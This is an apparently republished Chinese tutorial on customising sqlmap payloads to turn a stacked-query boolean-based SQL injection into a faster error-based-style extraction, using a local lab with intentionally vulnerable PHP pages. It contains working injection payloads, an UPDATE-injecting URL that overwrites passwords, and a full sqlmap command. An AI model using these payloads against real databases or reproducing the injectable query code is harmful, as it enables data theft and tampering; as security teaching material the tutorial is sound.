新聞中心
文中提及的部分技術(shù)可能帶有一定攻擊性,僅供安全學(xué)習(xí)和教學(xué)用途,禁止非法使用。

從策劃到設(shè)計(jì)制作,每一步都追求做到細(xì)膩,制作可持續(xù)發(fā)展的企業(yè)網(wǎng)站。為客戶提供成都網(wǎng)站制作、成都網(wǎng)站設(shè)計(jì)、網(wǎng)站策劃、網(wǎng)頁設(shè)計(jì)、域名注冊、雅安服務(wù)器托管、網(wǎng)絡(luò)營銷、VI設(shè)計(jì)、 網(wǎng)站改版、漏洞修補(bǔ)等服務(wù)。為客戶提供更好的一站式互聯(lián)網(wǎng)解決方案,以客戶的口碑塑造優(yōu)易品牌,攜手廣大客戶,共同發(fā)展進(jìn)步。
大家在玩SQL注入的時(shí)候大概都遇到過一種特別雞肋的情況:目標(biāo)只有支持多語句查詢的boolean-based注入點(diǎn)(比如CVE-2014-3704)。我們很單純地想下載數(shù)據(jù)庫,卻只能用sqlmap10線程一位一位獲取。這樣的龜速根本就是反人類!那邊跑著sqlmap這邊還不能溜掉,說不定就要你按個(gè)“Y”。
不過,既然支持多語句就有另一種思路可以提速:把注入語句的執(zhí)行結(jié)果update到另一個(gè)可見頁面上,這樣就可以直接獲取注入語句的輸出了。然而sqlmap本身并沒有這個(gè)功能。
本文主要向讀者介紹sqlmap的payloads自定義,以及如何基于它們,利用二階注入功能,讓boolean-based注入點(diǎn)轉(zhuǎn)化成error-based,加速測試過程。
實(shí)驗(yàn)環(huán)境搭建:
實(shí)驗(yàn)用數(shù)據(jù)庫是基于sqli靶機(jī)環(huán)境的
另有兩個(gè)php分別作為上圖中的頁面一和頁面二
test.php:
- function db_connect() {
- @ $db = new mysqli ( 'localhost', 'root', '********', 'security' );
- // echo "out";
- if (mysqli_connect_errno ()) {
- echo "Error: Could not connect to database. Please try again later.";
- return null;
- }
- return $db;
- }
- $db = db_connect ();
- $id=$_GET['id'];
- $query ="SELECT * FROM users WHERE id='$id' ;";
- //echo $query;
- $result = $db->multi_query( $query );
- $result = $db->multi_query( 'select * from SLEEP(5)');
- $result = $db->store_result();
- //echo $num_results = $result->num_rows;
- echo $result->fetch_assoc()['username'];
- //echo $result->fetch_assoc ()['username'];
- $db->close ();
- ?>
test1.php
- function db_connect() {
- @ $db = new mysqli ( 'localhost', 'root', '********', 'security' );
- // echo "out";
- if (mysqli_connect_errno ()) {
- echo "Error: Could not connect to database. Please try again later.";
- return null;
- }
- return $db;
- }
- $db = db_connect ();
- $query ="SELECT * FROM users WHERE id='10' ;";
- //echo $query;
- $result = $db->query( $query );
- echo $result->fetch_assoc()['password'];
- $db->close ();
- ?>
顯然test.php存在支持多語句執(zhí)行的SQL注入漏洞
于是我們請求
http://127.0.0.1/sqli/test.php?id=1%27;update%20users%20set%20password%20=%20%27freebuffreebuf%27%20where%20id%20=%20%2710
就成功修改了password字段
可見這種思路是可行的。
Sqlmap的修改:
首先,我們先了解sqlmap是如何工作的:
sqlmap啟動(dòng)后首先設(shè)置測試的level和risk,并識(shí)別受測試元素的類型
然后從它的配置文件xml/payloads.xml里面獲取應(yīng)該測試的漏洞類型、測試方法以及相應(yīng)的漏洞利用方案
在payloads.xml里面記錄了兩類數(shù)據(jù)(如果您聽得云里霧里的,請看看我翻譯的payloads.xml說明):
:用來使sql語句正確的前綴和后綴。比如前綴:"'"和后綴:"AND '[RANDSTR]'='[RANDSTR]"就可以閉合單引號(hào),防止出錯(cuò)。
:特定漏洞的全部信息,包括所用到的boundary,漏洞的level、risk,漏洞類型,利用的方法,檢測方法等。
在測試一個(gè)參數(shù)的時(shí)候sqlmap會(huì)遍歷所有符合要求的test節(jié)點(diǎn),使用request節(jié)點(diǎn)下的payload執(zhí)行漏洞掃描。
最后請求的內(nèi)容是(括號(hào)里只是舉例):
原參數(shù)
(id=1)+prefix (')+payload(AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a))+comment(注釋符這里沒有)+suffix(AND 'few'='few)然后再用response節(jié)點(diǎn)下的某種檢測方式進(jìn)行檢測。
這里我們的思路的核心就是輸出明文,與error-based相似,因此使用error-based漏洞常使用的正則表達(dá)式進(jìn)行輸出的獲?。?/p>
[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
其中[DELIMITER_START]和[DELIMITER_STOP]是用來匹配輸出開頭和結(jié)尾的隨機(jī)生成的字符串
想必payload應(yīng)該與之對應(yīng)
;update users set password = CONCAT('[DELIMITER_START]',1,'[DELIMITER_STOP]') where id =
這里請注意在error-based漏洞的檢測中sqlmap是用獲取的輸出(即在[DELIMITER_START]和[DELIMITER_STOP]之間的部分)為1來初步確定漏洞的存在的。
上述語句就把輸出的內(nèi)容UPDATE成了[DELIMITER_START]+"1"+[DELIMITER_STOP]使得此漏洞被檢測出存在。
檢測說完了,說說利用:
利用的語句受vector節(jié)點(diǎn)控制,有了payload就可以對照寫出來了
;update users set password = CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]') where id =
這里的[QUERY]就是執(zhí)行的漏洞利用語句,輸出還是會(huì)被正則獲取
于是就有了最終的自定義test
MySQL Customized update query based test 2 1 0 1 1 ;update users set password = CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]') where id = ;update users set password = CONCAT('[DELIMITER_START]',1,'[DELIMITER_STOP]') where id = [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] MySQL >= 5.0.11
我們把這段代碼加入到payloads.xml里面(root節(jié)點(diǎn)里面哦),然后基于這個(gè)自定義的測試配置和二階SQL注入,寫我們的命令:
- sqlmap -u 127.0.0.1/sqli/test.php?id=1 --second-order test1.php -v 3 --level 1 --suffix "'10"
請注意上述語句我重定義了后綴。
看看效果:
可用了!
至此,我們已經(jīng)成功讓一個(gè)慢得要死的boolean-based注入點(diǎn)進(jìn)化成為了確確實(shí)實(shí)人見人愛的error-based注入點(diǎn),媽媽再也不用注入速度太慢了~
快快dump一下來體會(huì)這速度帶來的快感吧。
P.S:多次對比過程中不要忘了刪掉sqlmap的本地緩存。
參考:sqlmap源代碼
本文作者:piece of the past,聯(lián)系方式:1005308775@qq.com
當(dāng)前文章:Sqlmap進(jìn)階:定制payload加速boolean-based注入
分享路徑:http://www.dlmjj.cn/article/ccoehsj.html


咨詢
建站咨詢
